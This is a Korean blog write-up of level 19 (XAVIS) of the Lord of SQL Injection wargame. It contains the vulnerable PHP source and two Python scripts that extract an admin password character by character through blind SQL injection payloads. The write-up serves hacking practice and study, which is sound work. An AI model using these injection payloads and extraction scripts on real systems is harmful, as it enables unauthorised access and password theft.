본문 바로가기

wargame/LOS

[LOS]19번 XAVIS

XAVIS



19번 문제

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  // regex, like 필터링

  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>


필터링된 것만 제외하면 기존의 blind sql injection 문제와 동일하다.

우선 pw의 길이를 알아냈다.


특이하게 8자리가 아니라 40자리이다.

어쨌든 쉬워보이니 LPAD와 BIN 함수를 이용하여 더 간편하게 구할 수 있는 툴을 만들었다.
이 코드는 이런 식으로 진행된다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests

 a = 8
if __name__=="__main__":
    for i in range(1, 41):
        c = 0
        for j in range(1, a+1) :
            query = "'or id = 'admin' and substr(lpad(bin(ascii(substr(pw, "+str(i)+", 1))),"+str(a)+",0),"+str(j)+",1) = 1%23"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                c += pow(2, a-j)
        print(str(c), end="")

결과는 다음과 같았다.

(chr함수로 각 자리를 출력했을 때)

(그냥 각 자리를 출력했을 때)

내가 코드를 잘 못 짠건가 싶어서 다른 문제에 적용해보기도 하고 이전 방식의 코드로 실행해봤는데 전부 40자리가 0으로 출력됐다.
전혀 영문을 알 수 없어서 REGEX와 관련해서 구글링하던 도중 스포당했다....
답이 확장 ASCII 코드이기 때문이라는 것이다.

이를 참고하여 다음과 같이 툴을 만들었다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 41):
        for j in range(128, 255) : # 아스키 코드의 범위
            query = "' or id = 'admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"%23"
            # ascii 함수는 1바이트를 읽기 때문에 ord 함수를 사용해야 한다
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                print(chr(j), end="")
                break


답이 나왔다.

성공

'wargame > LOS' 카테고리의 다른 글

[LOS]21번 IRON GOLEM  (0) 2019.08.25
[LOS]20번 DRAGON  (0) 2019.08.16
[LOS]18번 NIGHTMARE  (0) 2019.08.15
[LOS]17번 SUCCUBUS  (0) 2019.08.09
[LOS]16번 ZOMBIE ASSASSIN  (0) 2019.08.09